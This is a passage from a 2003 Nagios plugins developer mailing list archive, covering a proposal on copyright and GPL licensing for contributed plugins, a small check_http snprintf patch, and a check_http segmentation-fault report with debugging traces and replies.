plugin is accepted, copyright is transferred to the 'Nagios Plugin Developemnt Group." For our part, we will retain credit to the contributor preceding our copyright statement. But I think we should assert copyright as an entity to 1) protect changes we make 2) be in a position to defend copyright if need be [I fear that if some sort of challenge arose, we'd be so busy calrifying rights that we'd be unable to defend those rights]. A plugin becomes elegible for acceptance whenever a contributor requests that a plugin be placed in contrib (via deposit in the new plugins tracker, or via request for inclusion to the list or to a developer). Simply posting code to the list does not make the plugin eligible - there may be a request to integrate. We should consider adding a control to the tracker allowing a contirbutor to indicate whether or not the plugin should be integrated. LICENSE The plugins are GPL. All tracker submissions should be GPL. Other open-source licenses will be tolerated on the mailing lists, but GPL is preferred. Any plugin that becomes integrated or packaged with the plugin must be GPL, however. RECONCILIATION When I took over development of the plugins a few years back, there was no sense of there being a development group. I made judgment calls about how to assign copyrights based on the degree to which I had modified a plugin. In retrospect I could/should have done better. But that's water under the bridge. Nonetheless, once these issues are documented, we should make an effort to contact the original contributors to be sure they do not feel we are infringing their rights. I'm not worried here - they were submitted under GPL. But I feel respect for other's contributions requires us to make the effort to document that there is no objection to our asserting copyright on the derived GPL'd work. INFRINGEMENT We should make explicit statements that no infringement of intellectual property will be tolerated. There should be some indication of that on the tracker used to submit contributed plugins. I am at a loss for how this might be 'enforced'. At a minimum, we should request that if any party sees a possible infringement, they should bring it to our attention so it may be examined and corrected if need be. Any and all comments appreciated. -- Karl From karl at debisschop.net Thu Aug 21 23:46:30 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Thu Aug 21 23:46:30 2003 Subject: [Nagiosplug-devel] anyone ever write In-Reply-To: <001e01c3685c$43b19fa0$0d14140a@ad.serreyn.com> References: <001e01c3685c$43b19fa0$0d14140a@ad.serreyn.com> Message-ID: <1061534614.15372.36.camel@miles.debisschop.net> On Thu, 2003-08-21 at 23:19, Ted Serreyn wrote: > A bandwidth plugin. The idea is that you only run checks if there is > bandwidth available (5 min ave?). You can use check_snmp - either against the local interface, or more likely against a nearby switch or router that is a potential bottleneck. I guess you might be able to stop/start service and host checks by parent/child relationships and service dependencies. You will probably need to change some normal host_check_alive commands to the snmp bandwidth check, but if the SNMP implentation is reliable, that should be OK. -- Karl From bob at intelenet.net Fri Aug 22 02:18:28 2003 From: bob at intelenet.net (Bob Myers) Date: Fri Aug 22 02:18:28 2003 Subject: [Nagiosplug-devel] check_http formatting error for certificate checking Message-ID: <3F43C01E.80509@intelenet.net> Patch against 1.3.99 distribution on SourceForge. Problem exists in 1.3.1, 1.3.99, r1_3_0-200308130007. "16" truncates the string by 1 character. --- check_http.c~ 2003-08-10 05:07:08.000000000 -0700 +++ check_http.c 2003-08-20 11:34:58.000000000 -0700 @@ -920,7 +920,7 @@ days_left = (mktime (&stamp) - time (NULL)) / 86400; snprintf - (timestamp, 16, "%02d/%02d/%04d %02d:%02d", + (timestamp, 17, "%02d/%02d/%04d %02d:%02d", stamp.tm_mon + 1, stamp.tm_mday, stamp.tm_year + 1900, stamp.tm_hour, stamp.tm_min); From Ton.Voon at egg.com Fri Aug 22 03:17:38 2003 From: Ton.Voon at egg.com (Voon, Ton) Date: Fri Aug 22 03:17:38 2003 Subject: [Nagiosplug-devel] check_http bug Message-ID: Karl, I seem to have a problem with the CVS HEAD version of check_http, but I can't find a fix. This works okay on r130, but was failing before the endless redirection loop change. Don't know exactly which version introduced the problem. On SunOS 5.6, if I run check_http against www.egg.com (through a proxy, but also fails on internal test machines), there is a coredump. Here's the output: ----- $ ./check_http -v -H localhost -p 5865 -u http://www.egg.com/ --onredirect=follow option f:4 http://localhost:5865http://www.egg.com/ is 213 characters STATUS: HTTP/1.1 301 Unknown reason **** HEADER **** Via: 1.1 PNNPXP01, 1.1 PNNPXP02 Connection: close Content-Length: 0 Date: Fri, 22 Aug 2003 09:58:03 GMT Server: Netscape-Enterprise/3.6 SP3 Location: http://new.egg.com/newegg **** CONTENT **** http://new.egg.com:80/newegg is 310 characters STATUS: HTTP/1.1 302 Moved Temporarily **** HEADER **** Server: Netscape-Enterprise/4.1 Date: Fri, 22 Aug 2003 09:58:04 GMT Set-Cookie: ssuid=Maz84g00nVM0000EfQnFb643Kf; path= /; expires=Saturday, 06-Sep-2014 23:50:08 GMT Location: http://new.egg.com/visitor/0,,3_11060--View_819,00.html Content-length: 0 Connection: close **** CONTENT **** Segmentation Fault(coredump) ----- With a truss I get (tail last lines): ----- write(1, " h t t p : / / l o c a l".., 59) = 59 STATUS: HTTP/1.1 301 Unknown reason write(1, " S T A T U S : H T T P".., 36) = 36 **** HEADER **** Via: 1.1 PNNPXP01, 1.1 PNNPXP02 Connection: close Content-Length: 0 Date: Fri, 22 Aug 2003 09:58:34 GMT Server: Netscape-Enterprise/3.6 SP3 Location: http://new.egg.com/newegg **** CONTENT **** write(1, " * * * * H E A D E R ".., 217) = 217 open64("/etc/.name_service_door", O_RDONLY) = 3 fcntl(3, F_SETFD, 0x00000001) = 0 door_info(3, 0xEF62BD60) = 0 door_call(3, 0xEFFFD458) = 0 so_socket(2, 2, 0, "", 1) = 4 connect(4, 0x00032708, 16) = 0 send(4, " G E T / n e w e g g ".., 96, 0) = 96 recv(4, " H T T P / 1 . 1 3 0 2".., 1023, 0) = 310 recv(4, 0x00031D44, 1023, 0) = 0 close(4) = 0 alarm(0) = 0 http://new.egg.com:80/newegg is 310 characters write(1, " h t t p : / / n e w . e".., 47) = 47 STATUS: HTTP/1.1 302 Moved Temporarily write(1, " S T A T U S : H T T P".., 39) = 39 **** HEADER **** Server: Netscape-Enterprise/4.1 Date: Fri, 22 Aug 2003 09:58:35 GMT Set-Cookie: ssuid=Maz82w00gRo00018fQnFiNT3x3; path= /; expires=Saturday, 06-Sep-2014 23:50:08 GMT Location: http://new.egg.com/visitor/0,,3_11060--View_819,00.html Content-length: 0 Connection: close **** CONTENT **** write(1, " * * * * H E A D E R ".., 311) = 311 door_info(3, 0xEFFFD340) = 0 door_call(3, 0xEFFFD328) = 0 so_socket(2, 2, 0, "", 1) = 4 connect(4, 0x00032738, 16) = 0 Incurred fault #6, FLTBOUNDS %pc = 0xEF5C7020 siginfo: SIGSEGV SEGV_MAPERR addr=0x2E6BD07C Received signal #11, SIGSEGV [default] siginfo: SIGSEGV SEGV_MAPERR addr=0x2E6BD07C *** process killed *** ----- I have narrowed the problem down to line 500 in check_http.c: asprintf (&buf, "%s %s HTTP/1.0\r\n", http_method, server_url); But I can't see anything wrong with it (in fact, the line is the same from r130). Also a check_http to the redirected url is okay. I've tried a buf = strdup(""), but this didn't fix. Any ideas? Ton This private and confidential e-mail has been sent to you by Egg. The Egg group of companies includes Egg Banking plc (registered no. 2999842), Egg Financial Products Ltd (registered no. 3319027) and Egg Investments Ltd (registered no. 3403963) which carries out investment business on behalf of Egg and is regulated by the Financial Services Authority. Registered in England and Wales. Registered offices: 1 Waterhouse Square, 138-142 Holborn, London EC1N 2NA. If you are not the intended recipient of this e-mail and have received it in error, please notify the sender by replying with 'received in error' as the subject and then delete it from your mailbox. From Ton.Voon at egg.com Fri Aug 22 03:47:21 2003 From: Ton.Voon at egg.com (Voon, Ton) Date: Fri Aug 22 03:47:21 2003 Subject: [Nagiosplug-devel] porposal to clarify terms of submission Message-ID: I don't fully understand all the copyright issues, but I agree that the Nagios Plugin Development Group should bear the responsibility, and thus the copyright, of all code distributed. As a former contributor, my only request was for a little credit. I don't think this should be in the form of comments within the code, but a clear document that says this person has made a contribution to the project, like what Ethan has done at http://www.nagios.org/contributors.php. This is why I always put down the contributor for bug reports or patches in CVS statements. Ton > -----Original Message----- > From: Karl DeBisschop [mailto:karl at debisschop.net] > Sent: Friday, August 22, 2003 7:05 AM > To: NagiosPlug Devel > Subject: [Nagiosplug-devel] porposal to clarify terms of submission > > > In the last round of cleanup, I have found a few times where > attribution > and current copyright has become murky. > > I'd like to clarify things in our public documents so people know what > to expect. > > In my mind, this is the model under which we operate is as > follows. This > is a little scattershot, but should be a basis for comment. > Out of this > I hope to formulate some clearer policy statements to be included with > the distribution. > > COPYRIGHT > > When a plugin is accepted, copyright is transferred to the 'Nagios > Plugin Developemnt Group." For our part, we will retain credit to the > contributor preceding our copyright statement. But I think we should > assert copyright as an entity to 1) protect changes we make 2) be in a > position to defend copyright if need be [I fear that if some sort of > challenge arose, we'd be so busy calrifying rights that we'd be unable > to defend those rights]. > > A plugin becomes elegible for acceptance whenever a > contributor requests > that a plugin be placed in contrib (via deposit in the new plugins > tracker, or via request for inclusion to the list or to a developer). > Simply posting code to the list does not make the plugin eligible - > there may be a request to integrate. We should consider > adding a control > to the tracker allowing a contirbutor to indicate whether or not the > plugin should be integrated. > > LICENSE > > The plugins are GPL. > > All tracker submissions should be GPL. > > Other open-source licenses will be tolerated on the mailing lists, but > GPL is preferred. Any plugin that becomes integrated or packaged with > the plugin must be GPL, however. > > RECONCILIATION > > When I took over development of the plugins a few years back, > there was > no sense of there being a development group. I made judgment > calls about > how to assign copyrights based on the degree to which I had modified a > plugin. In retrospect I could/should have done better. But > that's water > under the bridge. > > Nonetheless, once these issues are documented, we should make > an effort > to contact the original contributors to be sure they do not > feel we are > infringing their rights. I'm not worried here - they were submitted > under GPL. But I feel respect for other's contributions requires us to > make the effort to document that there is no objection to our > asserting > copyright on the derived GPL'd work. > > INFRINGEMENT > > We should make explicit statements that no infringement of > intellectual > property will be tolerated. There should be some indication of that on > the tracker used to submit contributed plugins. I am at a loss for how > this might be 'enforced'. At a minimum, we should request that if any > party sees a possible infringement, they should bring it to our > attention so it may be examined and corrected if need be. > > > > Any and all comments appreciated. > > -- > Karl This private and confidential e-mail has been sent to you by Egg. The Egg group of companies includes Egg Banking plc (registered no. 2999842), Egg Financial Products Ltd (registered no. 3319027) and Egg Investments Ltd (registered no. 3403963) which carries out investment business on behalf of Egg and is regulated by the Financial Services Authority. Registered in England and Wales. Registered offices: 1 Waterhouse Square, 138-142 Holborn, London EC1N 2NA. If you are not the intended recipient of this e-mail and have received it in error, please notify the sender by replying with 'received in error' as the subject and then delete it from your mailbox. From karl at debisschop.net Fri Aug 22 05:12:27 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Fri Aug 22 05:12:27 2003 Subject: [Nagiosplug-devel] porposal to clarify terms of submission In-Reply-To: References: Message-ID: <1061554239.3223.3.camel@miles.debisschop.net> On Fri, 2003-08-22 at 06:33, Voon, Ton wrote: > I don't fully understand all the copyright issues, but I agree that the > Nagios Plugin Development Group should bear the responsibility, and thus the > copyright, of all code distributed. > > As a former contributor, my only request was for a little credit. I don't > think this should be in the form of comments within the code, but a clear > document that says this person has made a contribution to the project, like > what Ethan has done at http://www.nagios.org/contributors.php. This is why I > always put down the contributor for bug reports or patches in CVS > statements. Quite fair. I had in practice sort of pushed a certain anonnomity becuse in the plugins the original practice hade been to attribute each contribution. The comments in some cases began to overwhelm the code, so that had to stop. But in retrospect thaht should have causes me to put more emphasis on an external list like the one Ethan has. And into CVS commits. I will try to be more diligent about the latter. Perhaps we should also make a contrbutors page. > Ton > > > -----Original Message----- > > From: Karl DeBisschop [mailto:karl at debisschop.net] > > Sent: Friday, August 22, 2003 7:05 AM > > To: NagiosPlug Devel > > Subject: [Nagiosplug-devel] porposal to clarify terms of submission > > > > > > In the last round of cleanup, I have found a few times where > > attribution > > and current copyright has become murky. > > > > I'd like to clarify things in our public documents so people know what > > to expect. > > > > In my mind, this is the model under which we operate is as > > follows. This > > is a little scattershot, but should be a basis for comment. > > Out of this > > I hope to formulate some clearer policy statements to be included with > > the distribution. > > > > COPYRIGHT > > > > When a plugin is accepted, copyright is transferred to the 'Nagios > > Plugin Developemnt Group." For our part, we will retain credit to the > > contributor preceding our copyright statement. But I think we should > > assert copyright as an entity to 1) protect changes we make 2) be in a > > position to defend copyright if need be [I fear that if some sort of > > challenge arose, we'd be so busy calrifying rights that we'd be unable > > to defend those rights]. > > > > A plugin becomes elegible for acceptance whenever a > > contributor requests > > that a plugin be placed in contrib (via deposit in the new plugins > > tracker, or via request for inclusion to the list or to a developer). > > Simply posting code to the list does not make the plugin eligible - > > there may be a request to integrate. We should consider > > adding a control > > to the tracker allowing a contirbutor to indicate whether or not the > > plugin should be integrated. > > > > LICENSE > > > > The plugins are GPL. > > > > All tracker submissions should be GPL. > > > > Other open-source licenses will be tolerated on the mailing lists, but > > GPL is preferred. Any plugin that becomes integrated or packaged with > > the plugin must be GPL, however. > > > > RECONCILIATION > > > > When I took over development of the plugins a few years back, > > there was > > no sense of there being a development group. I made judgment > > calls about > > how to assign copyrights based on the degree to which I had modified a > > plugin. In retrospect I could/should have done better. But > > that's water > > under the bridge. > > > > Nonetheless, once these issues are documented, we should make > > an effort > > to contact the original contributors to be sure they do not > > feel we are > > infringing their rights. I'm not worried here - they were submitted > > under GPL. But I feel respect for other's contributions requires us to > > make the effort to document that there is no objection to our > > asserting > > copyright on the derived GPL'd work. > > > > INFRINGEMENT > > > > We should make explicit statements that no infringement of > > intellectual > > property will be tolerated. There should be some indication of that on > > the tracker used to submit contributed plugins. I am at a loss for how > > this might be 'enforced'. At a minimum, we should request that if any > > party sees a possible infringement, they should bring it to our > > attention so it may be examined and corrected if need be. > > > > > > > > Any and all comments appreciated. > > > > -- > > Karl > > > This private and confidential e-mail has been sent to you by Egg. > The Egg group of companies includes Egg Banking plc > (registered no. 2999842), Egg Financial Products Ltd (registered > no. 3319027) and Egg Investments Ltd (registered no. 3403963) which > carries out investment business on behalf of Egg and is regulated > by the Financial Services Authority. > Registered in England and Wales. Registered offices: 1 Waterhouse Square, > 138-142 Holborn, London EC1N 2NA. > If you are not the intended recipient of this e-mail and have > received it in error, please notify the sender by replying with > 'received in error' as the subject and then delete it from your > mailbox. From karl at debisschop.net Fri Aug 22 05:22:16 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Fri Aug 22 05:22:16 2003 Subject: [Nagiosplug-devel] check_http bug In-Reply-To: References: Message-ID: <1061554804.3223.9.camel@miles.debisschop.net> On Fri, 2003-08-22 at 06:16, Voon, Ton wrote: > Karl, > > I seem to have a problem with the CVS HEAD version of check_http, but I > can't find a fix. This works okay on r130, but was failing before the > endless redirection loop change. Don't know exactly which version introduced > the problem. > > On SunOS 5.6, if I run check_http against www.egg.com (through a proxy, but > also fails on internal test machines), there is a coredump. > > Here's the output: > ----- > $ ./check_http -v -H localhost -p 5865 -u http://www.egg.com/ > --onredirect=follow > option f:4 > http://localhost:5865http://www.egg.com/ is 213 characters > STATUS: HTTP/1.1 301 Unknown reason > **** HEADER **** > Via: 1.1 PNNPXP01, 1.1 PNNPXP02 > Connection: close > Content-Length: 0 > Date: Fri, 22 Aug 2003 09:58:03 GMT > Server: Netscape-Enterprise/3.6 SP3 > Location: http://new.egg.com/newegg > **** CONTENT **** > > http://new.egg.com:80/newegg is 310 characters > STATUS: HTTP/1.1 302 Moved Temporarily > **** HEADER **** > Server: Netscape-Enterprise/4.1 > Date: Fri, 22 Aug 2003 09:58:04 GMT > Set-Cookie: ssuid=Maz84g00nVM0000EfQnFb643Kf; path= /; expires=Saturday, > 06-Sep-2014 23:50:08 GMT > Location: http://new.egg.com/visitor/0,,3_11060--View_819,00.html > Content-length: 0 > Connection: close > **** CONTENT **** > > Segmentation Fault(coredump) > > ----- > > With a truss I get (tail last lines): > ----- > write(1, " h t t p : / / l o c a l".., 59) = 59 > STATUS: HTTP/1.1 301 Unknown reason > write(1, " S T A T U S : H T T P".., 36) = 36 > **** HEADER **** > Via: 1.1 PNNPXP01, 1.1 PNNPXP02 > Connection: close > Content-Length: 0 > Date: Fri, 22 Aug 2003 09:58:34 GMT > Server: Netscape-Enterprise/3.6 SP3 > Location: http://new.egg.com/newegg > **** CONTENT **** > > write(1, " * * * * H E A D E R ".., 217) = 217 > open64("/etc/.name_service_door", O_RDONLY) = 3 > fcntl(3, F_SETFD, 0x00000001) = 0 > door_info(3, 0xEF62BD60) = 0 > door_call(3, 0xEFFFD458) = 0 > so_socket(2, 2, 0, "", 1) = 4 > connect(4, 0x00032708, 16) = 0 > send(4, " G E T / n e w e g g ".., 96, 0) = 96 > recv(4, " H T T P / 1 . 1 3 0 2".., 1023, 0) = 310 > recv(4, 0x00031D44, 1023, 0) = 0 > close(4) = 0 > alarm(0) = 0 > http://new.egg.com:80/newegg is 310 characters > write(1, " h t t p : / / n e w . e".., 47) = 47 > STATUS: HTTP/1.1 302 Moved Temporarily > write(1, " S T A T U S : H T T P".., 39) = 39 > **** HEADER **** > Server: Netscape-Enterprise/4.1 > Date: Fri, 22 Aug 2003 09:58:35 GMT > Set-Cookie: ssuid=Maz82w00gRo00018fQnFiNT3x3; path= /; expires=Saturday, > 06-Sep-2014 23:50:08 GMT > Location: http://new.egg.com/visitor/0,,3_11060--View_819,00.html > Content-length: 0 > Connection: close > **** CONTENT **** > > write(1, " * * * * H E A D E R ".., 311) = 311 > door_info(3, 0xEFFFD340) = 0 > door_call(3, 0xEFFFD328) = 0 > so_socket(2, 2, 0, "", 1) = 4 > connect(4, 0x00032738, 16) = 0 > Incurred fault #6, FLTBOUNDS %pc = 0xEF5C7020 > siginfo: SIGSEGV SEGV_MAPERR addr=0x2E6BD07C > Received signal #11, SIGSEGV [default] > siginfo: SIGSEGV SEGV_MAPERR addr=0x2E6BD07C > *** process killed *** > ----- > > I have narrowed the problem down to line 500 in check_http.c: > asprintf (&buf, "%s %s HTTP/1.0\r\n", http_method, server_url); > > But I can't see anything wrong with it (in fact, the line is the same from > r130). Also a check_http to the redirected url is okay. I've tried a buf = > strdup(""), but this didn't fix. Any ideas? I ran across the error when I was working on the redirection loop limits. In my test cases, it was fixed by my changes. But I did not find a bug and fix it - it was a side effect. I don't see the problem in the current code either, butit is quite obviously there. Is there some URL I can use to run this against so I can try and debug it? -- Karl From noreply at sourceforge.net Fri Aug 22 12:22:06 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Fri Aug 22 12:22:06 2003 Subject: [Nagiosplug-devel] [ nagiosplug-Feature Requests-793234 ] Check_http follow issue Message-ID: Feature Requests item #793234, was opened at 2003-08-22 09:49 Message generated for change (Tracker Item Submitted) made by Item Submitter You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397600&aid=793234&group_id=29880 Category: None Group: None Status: Open Priority: 5 Submitted By: Derrick Bennett (moekyle) Assigned to: Nobody/Anonymous (nobody) Summary: Check_http follow issue Initial Comment: This is a dumb problem. IIS webserver that sets a cookie then redirects to the actual homepage. Without the cookie being set you can't actually see the homepage making checks of the homepage fail. Need a way to grab the session cookie on a redirect page and re-send it on the next page. ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=397600&aid=793234&group_id=29880 From Ton.Voon at egg.com Fri Aug 22 13:58:42 2003 From: Ton.Voon at egg.com (Voon, Ton) Date: Fri Aug 22 13:58:42 2003 Subject: [Nagiosplug-devel] check_http bug Message-ID: > On Fri, 2003-08-22 at 06:16, Voon, Ton wrote: > > Karl, > > > > I seem to have a problem with the CVS HEAD version of > check_http, but I > > can't find a fix. This works okay on r130, but was failing > before the > > endless redirection loop change. Don't know exactly which > version introduced > > the problem. > > > > On SunOS 5.6, if I run check_http against www.egg.com > (through a proxy, but > > also fails on internal test machines), there is a coredump. > > > > Here's the output: > > ----- > > $ ./check_http -v -H localhost -p 5865 -u http://www.egg.com/ > > --onredirect=follow > > option f:4 > > http://localhost:5865http://www.egg.com/ is 213 characters > > STATUS: HTTP/1.1 301 Unknown reason > > **** HEADER **** > > Via: 1.1 PNNPXP01, 1.1 PNNPXP02 > > Connection: close > > Content-Length: 0 > > Date: Fri, 22 Aug 2003 09:58:03 GMT > > Server: Netscape-Enterprise/3.6 SP3 > > Location: http://new.egg.com/newegg > > **** CONTENT **** > > > > http://new.egg.com:80/newegg is 310 characters > > STATUS: HTTP/1.1 302 Moved Temporarily > > **** HEADER **** > > Server: Netscape-Enterprise/4.1 > > Date: Fri, 22 Aug 2003 09:58:04 GMT > > Set-Cookie: ssuid=Maz84g00nVM0000EfQnFb643Kf; path= /; > expires=Saturday, > > 06-Sep-2014 23:50:08 GMT > > Location: http://new.egg.com/visitor/0,,3_11060--View_819,00.html > > Content-length: 0 > > Connection: close > > **** CONTENT **** > > > > Segmentation Fault(coredump) > > > > ----- > > > > With a truss I get (tail last lines): > > ----- > > write(1, " h t t p : / / l o c a l".., 59) = 59 > > STATUS: HTTP/1.1 301 Unknown reason > > write(1, " S T A T U S : H T T P".., 36) = 36 > > **** HEADER **** > > Via: 1.1 PNNPXP01, 1.1 PNNPXP02 > > Connection: close > > Content-Length: 0 > > Date: Fri, 22 Aug 2003 09:58:34 GMT > > Server: Netscape-Enterprise/3.6 SP3 > > Location: http://new.egg.com/newegg > > **** CONTENT **** > > > > write(1, " * * * * H E A D E R ".., 217) = 217 > > open64("/etc/.name_service_door", O_RDONLY) = 3 > > fcntl(3, F_SETFD, 0x00000001) = 0 > > door_info(3, 0xEF62BD60) = 0 > > door_call(3, 0xEFFFD458) = 0 > > so_socket(2, 2, 0, "", 1) = 4 > > connect(4, 0x00032708, 16) = 0 > > send(4, " G E T / n e w e g g ".., 96, 0) = 96 > > recv(4, " H T T P / 1 . 1 3 0 2".., 1023, 0) = 310 > > recv(4, 0x00031D44, 1023, 0) = 0 > > close(4) = 0 > > alarm(0) = 0 > > http://new.egg.com:80/newegg is 310 characters > > write(1, " h t t p : / / n e w . e".., 47) = 47 > > STATUS: HTTP/1.1 302 Moved Temporarily > > write(1, " S T A T U S : H T T P".., 39) = 39 > > **** HEADER **** > > Server: Netscape-Enterprise/4.1 > > Date: Fri, 22 Aug 2003 09:58:35 GMT > > Set-Cookie: ssuid=Maz82w00gRo00018fQnFiNT3x3; path= /; > expires=Saturday, > > 06-Sep-2014 23:50:08 GMT > > Location: http://new.egg.com/visitor/0,,3_11060--View_819,00.html > > Content-length: 0 > > Connection: close > > **** CONTENT **** > > > > write(1, " * * * * H E A D E R ".., 311) = 311 > > door_info(3, 0xEFFFD340) = 0 > > door_call(3, 0xEFFFD328) = 0 > > so_socket(2, 2, 0, "", 1) = 4 > > connect(4, 0x00032738, 16) = 0 > > Incurred fault #6, FLTBOUNDS %pc = 0xEF5C7020 > > siginfo: SIGSEGV SEGV_MAPERR addr=0x2E6BD07C > > Received signal #11, SIGSEGV [default] > > siginfo: SIGSEGV SEGV_MAPERR addr=0x2E6BD07C > > *** process killed *** > > ----- > > > > I have narrowed the problem down to line 500 in check_http.c: > > asprintf (&buf, "%s %s HTTP/1.0\r\n", http_method, server_url); > > > > But I can't see anything wrong with it (in fact, the line > is the same from > > r130). Also a check_http to the redirected url is okay. > I've tried a buf = > > strdup(""), but this didn't fix. Any ideas? > > I ran across the error when I was working on the redirection loop > limits. In my test cases, it was fixed by my changes. > > But I did not find a bug and fix it - it was a side effect. > > I don't see the problem in the current code either, butit is quite > obviously there. Is there some URL I can use to run this against so I > can try and debug it? > > -- > Karl > I think you should be able to recreate it with check_http -H www.egg.com -u / --onredirect=follow I can't check this out because of the firewall at work. Ton This private and confidential e-mail has been sent to you by Egg. The Egg group of companies includes Egg Banking plc (registered no. 2999842), Egg Financial Products Ltd (registered no. 3319027) and Egg Investments Ltd (registered no. 3403963) which carries out investment business on behalf of Egg and is regulated by the Financial Services Authority. Registered in England and Wales. Registered offices: 1 Waterhouse Square, 138-142 Holborn, London EC1N 2NA. If you are not the intended recipient of this e-mail and have received it in error, please notify the sender by replying with 'received in error' as the subject and then delete it from your mailbox. From Dmitri.Smirnov at fusepoint.com Fri Aug 22 15:40:09 2003 From: Dmitri.Smirnov at fusepoint.com (Dmitri Smirnov) Date: Fri Aug 22 15:40:09 2003 Subject: [Nagiosplug-devel] check_http bug Message-ID: <77F055FA968580429F4546414D8C10E70142EB79@s102b.rhcci.net> Sorry, guys, Based on output this check_http was compiled with cookie support (patch from me?) I think I've made a new patch few weeks ago to correct the loop problem with IIS: [ 778644 ] check_http cookies and keep-alive support Sorry if new patch is broken again. ;( Dmitri -----Original Message----- From: Voon, Ton [mailto:Ton.Voon at egg.com] Sent: Friday, August 22, 2003 6:15 AM To: 'Karl DeBisschop' Cc: 'nagiosplug-devel at lists.sf.net' Subject: RE: [Nagiosplug-devel] check_http bug > On Fri, 2003-08-22 at 06:16, Voon, Ton wrote: > > Karl, > > > > I seem to have a problem with the CVS HEAD version of > check_http, but I > > can't find a fix. This works okay on r130, but was failing > before the > > endless redirection loop change. Don't know exactly which > version introduced > > the problem. > > > > On SunOS 5.6, if I run check_http against www.egg.com > (through a proxy, but > > also fails on internal test machines), there is a coredump. > > > > Here's the output: > > ----- > > $ ./check_http -v -H localhost -p 5865 -u http://www.egg.com/ > > --onredirect=follow option f:4 > > http://localhost:5865http://www.egg.com/ is 213 characters > > STATUS: HTTP/1.1 301 Unknown reason > > **** HEADER **** > > Via: 1.1 PNNPXP01, 1.1 PNNPXP02 > > Connection: close > > Content-Length: 0 > > Date: Fri, 22 Aug 2003 09:58:03 GMT > > Server: Netscape-Enterprise/3.6 SP3 > > Location: http://new.egg.com/newegg > > **** CONTENT **** > > > > http://new.egg.com:80/newegg is 310 characters > > STATUS: HTTP/1.1 302 Moved Temporarily > > **** HEADER **** > > Server: Netscape-Enterprise/4.1 > > Date: Fri, 22 Aug 2003 09:58:04 GMT > > Set-Cookie: ssuid=Maz84g00nVM0000EfQnFb643Kf; path= /; > expires=Saturday, > > 06-Sep-2014 23:50:08 GMT > > Location: http://new.egg.com/visitor/0,,3_11060--View_819,00.html > > Content-length: 0 > > Connection: close > > **** CONTENT **** > > > > Segmentation Fault(coredump) > > > > ----- > > > > With a truss I get (tail last lines): > > ----- > > write(1, " h t t p : / / l o c a l".., 59) = 59 > > STATUS: HTTP/1.1 301 Unknown reason > > write(1, " S T A T U S : H T T P".., 36) = 36 > > **** HEADER **** > > Via: 1.1 PNNPXP01, 1.1 PNNPXP02 > > Connection: close > > Content-Length: 0 > > Date: Fri, 22 Aug 2003 09:58:34 GMT > > Server: Netscape-Enterprise/3.6 SP3 > > Location: http://new.egg.com/newegg > > **** CONTENT **** > > > > write(1, " * * * * H E A D E R ".., 217) = 217 > > open64("/etc/.name_service_door", O_RDONLY) = 3 > > fcntl(3, F_SETFD, 0x00000001) = 0 > > door_info(3, 0xEF62BD60) = 0 > > door_call(3, 0xEFFFD458) = 0 > > so_socket(2, 2, 0, "", 1) = 4 > > connect(4, 0x00032708, 16) = 0 > > send(4, " G E T / n e w e g g ".., 96, 0) = 96 > > recv(4, " H T T P / 1 . 1 3 0 2".., 1023, 0) = 310 > > recv(4, 0x00031D44, 1023, 0) = 0 > > close(4) = 0 > > alarm(0) = 0 > > http://new.egg.com:80/newegg is 310 characters > > write(1, " h t t p : / / n e w . e".., 47) = 47 > > STATUS: HTTP/1.1 302 Moved Temporarily > > write(1, " S T A T U S : H T T P".., 39) = 39 > > **** HEADER **** > > Server: Netscape-Enterprise/4.1 > > Date: Fri, 22 Aug 2003 09:58:35 GMT > > Set-Cookie: ssuid=Maz82w00gRo00018fQnFiNT3x3; path= /; > expires=Saturday, > > 06-Sep-2014 23:50:08 GMT > > Location: http://new.egg.com/visitor/0,,3_11060--View_819,00.html > > Content-length: 0 > > Connection: close > > **** CONTENT **** > > > > write(1, " * * * * H E A D E R ".., 311) = 311 > > door_info(3, 0xEFFFD340) = 0 > > door_call(3, 0xEFFFD328) = 0 > > so_socket(2, 2, 0, "", 1) = 4 > > connect(4, 0x00032738, 16) = 0 > > Incurred fault #6, FLTBOUNDS %pc = 0xEF5C7020 > > siginfo: SIGSEGV SEGV_MAPERR addr=0x2E6BD07C > > Received signal #11, SIGSEGV [default] > > siginfo: SIGSEGV SEGV_MAPERR addr=0x2E6BD07C > > *** process killed *** > > ----- > > > > I have narrowed the problem down to line 500 in check_http.c: > > asprintf (&buf, "%s %s HTTP/1.0\r\n", http_method, server_url); > > > > But I can't see anything wrong with it (in fact, the line > is the same from > > r130). Also a check_http to the redirected url is okay. > I've tried a buf = > > strdup(""), but this didn't fix. Any ideas? > > I ran across the error when I was working on the redirection loop > limits. In my test cases, it was fixed by my changes. > > But I did not find a bug and fix it - it was a side effect. > > I don't see the problem in the current code either, butit is quite > obviously there. Is there some URL I can use to run this against so I > can try and debug it? > > -- > Karl > I think you should be able to recreate it with check_http -H www.egg.com -u / --onredirect=follow I can't check this out because of the firewall at work. Ton This private and confidential e-mail has been sent to you by Egg. The Egg group of companies includes Egg Banking plc (registered no. 2999842), Egg Financial Products Ltd (registered no. 3319027) and Egg Investments Ltd (registered no. 3403963) which carries out investment business on behalf of Egg and is regulated by the Financial Services Authority. Registered in England and Wales. Registered offices: 1 Waterhouse Square, 138-142 Holborn, London EC1N 2NA. If you are not the intended recipient of this e-mail and have received it in error, please notify the sender by replying with 'received in error' as the subject and then delete it from your mailbox. ------------------------------------------------------- This SF.net email is sponsored by: VM Ware With VMware you can run multiple operating systems on a single machine. WITHOUT REBOOTING! Mix Linux / Windows / Novell virtual machines at the same time. Free trial click here:http://www.vmware.com/wl/offer/358/0 _______________________________________________ Nagiosplug-devel mailing list Nagiosplug-devel at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagiosplug-devel ::: Please include plugins version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Fri Aug 22 16:39:11 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Fri Aug 22 16:39:11 2003 Subject: [Nagiosplug-devel] check_http bug In-Reply-To: <77F055FA968580429F4546414D8C10E70142EB79@s102b.rhcci.net> References: <77F055FA968580429F4546414D8C10E70142EB79@s102b.rhcci.net> Message-ID: <1061595427.4321.1.camel@miles.debisschop.net> On Fri, 2003-08-22 at 18:34, Dmitri Smirnov wrote: > Sorry, guys, > > Based on output this check_http was compiled with cookie support (patch > from me?) different 